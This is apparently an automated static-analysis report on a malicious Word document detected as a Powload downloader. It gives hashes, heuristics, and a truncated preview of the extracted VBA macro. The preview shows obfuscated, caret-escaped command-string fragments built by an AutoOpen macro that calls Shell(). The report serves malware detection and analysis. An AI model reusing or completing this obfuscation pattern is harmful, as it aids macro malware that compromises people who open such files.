Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 86d89c1e58803050…

MALICIOUS

Office (OLE)

89.6 KB Created: 2018-08-31 03:25:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: a71adc1c5713c5b80b6dc0f6310e82c5 SHA-1: 65ef541a8725fcb72a50680e95f8544e84c86c78 SHA-256: 86d89c1e588030507dd5c03cf5acd48d82e42874a20398c81b2573fb1725af3c
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter

The sample contains a VBA macro with an AutoOpen function that uses the Shell() command. The macro constructs a command string by concatenating obfuscated pieces, likely to execute a malicious payload. The ClamAV detection 'Doc.Downloader.Powload-6667979-0' further supports its malicious nature as a downloader.

Heuristics 7

  • ClamAV: Doc.Downloader.Powload-6667979-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6667979-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10245 bytes
SHA-256: 84b130cff14526062be43edb33bd5c1d0e9e08dc52260fba6f121e86a1ba263d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "IhranJPGHdaI"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "cwlJPpEF"
Function dwarMblIfqa()

On _
Error _
Resume _
Next
Hour 36386 * RBOOZ
   Hour QoVNmj * mOXSP
   Hour dhjubd * wPAah * 14807 / knrOb
   Hour 49853 * 74307 * 1014 * bnbal
crBWTzAuO = "md " + "/V:" + "/C" + Chr(4 + 4 + 4 + 4 + 18) + "^s" + "e" + "^t t^" + "1=^A^"
Hour BbfBK / mqziOj
   Hour 9593 * fKlITz
kYwYYVI = "ACAg^" + "A^AI" + "AA" + "C^" + "AgAA^I^"
Hour stqAj / KZUSj
VGXMiIaV = "AAC" + "AgA^A" + "I" + "^" + "AAC^" + "A" + "gAAIAAC" + "^A^g^AA"
Hour 50779 / bMZBv * YZfnM / przLk
   Hour 50648 / RwlGm * 39204 * PRYuPk
   Hour HZPEmU / LMXJU * 66419 / HwdoR
HLCjbRvcDL = "IAAC^A" + "gA^QfA^" + "0^H^A" + "^7B" + "Aa^A^" + "M^GA^0" + "^BQ^Y^A" + "^M^G^" + "A9^B^"
Hour 52732 * 37262
   Hour dIIGsw / WJqlU
   Hour 77150 / wlYjcz
AkjSBf = "w^O^As^" + "G^A^h^" + "BQ^" + "Z^AIH^A" + "^i^BwO" + "^A^oGA" + "o^" + "BQ" + "^" + "WA^" + "Q"
dwarMblIfqa = crBWTzAuO + kYwYYVI + VGXMiIaV + HLCjbRvcDL + AkjSBf
   Hour cRaSS / fGAiI
   Hour ETarz / hVbGA * 57889 / tCkma
   Hour 53914 / jEIlCh / 21021 / ALaoPJ
   Hour zdbVA / GKfTs
End Function
Function TYzVu()

On _
Error _
Resume _
Next
Hour DluNa / FqsSWp * NVCQN * bBYpGI
   Hour vLpwh / FpuhY
UtfaidMtrw = "C" + "^A" + "^g" + "A^Q" + "^b^A^UG" + "A0B^Q^"
Hour 6435 * JOozsz
GRjZOMzZHT = "S^A^0CA" + "lBwa" + "A^8" + "^G^A" + "^2"
Hour wiuMiv * FwcJfD
   Hour fCXaUr * mYGPb
   Hour 16886 / SqZpzD * 30544 / LzsTHk
   Hour 29035 * rzUpa
iMhmdKf = "B^gb" + "A^k^" + "E" + "^A" + "7^AQ" + "^K^Ao" + "^G^A^o" + "^BQ^W" + "^A" + "QC^A^" + "g" + "^"
Hour 16033 * sVGPTX * 93179 / JTGOX
   Hour KMacX / 1190
GGiWXpb = "AA^L^" + "AoGA" + "q^B^w^d" + "^A^QCAo" + "^AQ^" + "Z^A^wG" + "Ap^BgR^" + "AQ^G^Ah" + "B^w^" + "bA^wG" + "Au^B^wd"
Hour 83723 / jRour * HhKKu / wfVXta
   Hour 16912 * UNEfOD
   Hour oqqOFk * HTRHw
   Hour bVYPv * AHbEi / OEkOd * SwWTD
bRhlVkuRSNa = "A^8^GA" + "EBg^L" + "^AkG^" + "AzB" + "geAQ"
Hour 91860 * PZITJ
   Hour 15855 / iHwIik
   Hour 29515 * jmVBXE * 77112 / jkqHRA
uAMETu = "C^A7BQe" + "^A^IHA0" + "^B^" + "w^" + "e" + "AkCAF^" + "B^" + "A^b^AI^" + "FA^kAAI" + "^A4G^" + "ApB"
Hour khSkYI / RBHfA / LpERrE / 50893
   Hour VUUdZR / 59552 / GZIrA * 99691
   Hour HiOjV * 94746 / wwZBD * JUYbs
zcSkpakf = "^AI^" + "Ao^" + "GA^q" + "Bw" + "d^A" + "^" + "Q" + "C^AoA" + "^A^a^A" + "^"
Hour 30250 / iomkAF
   Hour 84218 * pHPja * fWXLW * AQbQwE
   Hour InwmL / awlwDH / OLvlZ * 89268
tRivR = "M^G^A^" + "hB^" + "Q^Z^A^" + "I^H^" + "Av^B^" + "gZ^A^s" + "^DAnAQ"
Hour 42151 * mtPhXK / EBHbC / IcYil
   Hour bIPbmE * iXKWVm
   Hour twOCm * sBziL * 20133 / IBQbMl
RVrVjT = "Z^Ag" + "HA" + "l^B^g" + "L^AcC^" + "ArA" + "w^b" + "A^UEA^" + "o^B" + "AJ^" + "A^sCAn" + "^" + "A^AX^A"
Hour 57309 * uTipjq
   Hour QBvjb / jwSjG * zbusV * 42018
   Hour IBnjPI * jHcLL
WmjLStiI = "cC" + "Ar^A^wY" + "A" + "^kGAsBg" + "YAUH" + "^Aw" + "B^gO" + "^A^YH^A" + "^uBQ"
Hour IrYZAs * SdWOq * YmTKw * 79135
   Hour OLUSw / pqXvz
   Hour 61960 / BwvuCs * 66851 * 19734
rihMR = "^Z^AQ" + "C^A^9" + "^A^g" + "a" + "AgG^"
Hour 34433 * KUJAO
   Hour 51299 * ufEHEs
   Hour 54179 / aORnn
   Hour PCmEj / wTAvp / jWhZw * rVsop
WRnadTrB = "A^Z" + "^" + "BAJA" + "s^DAn" + "^AA^MA" + "^IDA" + "^" + "0A^w"
Hour 12679 / 9346 / 73411 * 73513
QNDHJbnvaY = "^JAA" + "C^A^9" + "A" + "^AI^" + "A^" + "8"
TYzVu = UtfaidMtrw + GRjZOMzZHT + iMhmdKf + GGiWXpb + bRhlVkuRSNa + uAMETu + zcSkpakf + tRivR + RVrVjT + WmjLStiI + rihMR + WRnadTrB + QNDHJbnvaY
   Hour AoHih * MLWsw * 62901 / 51077
   Hour jnlLo / zqjkG * CFvit * TmwPda
   Hour JLzMj * rTDFa / VCzYEq * vaVsfT
   Hour 53382 * 74259 / zMhAi / ktlVl
End Function
Function mPtLWjofDMB()

On _
Error _
Resume _
Next
Hour ESXBfz * lFQPX * 92038 / GDzriS
   Hour UkUHrQ / ZWYtbJ * EcHXr / 1654
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.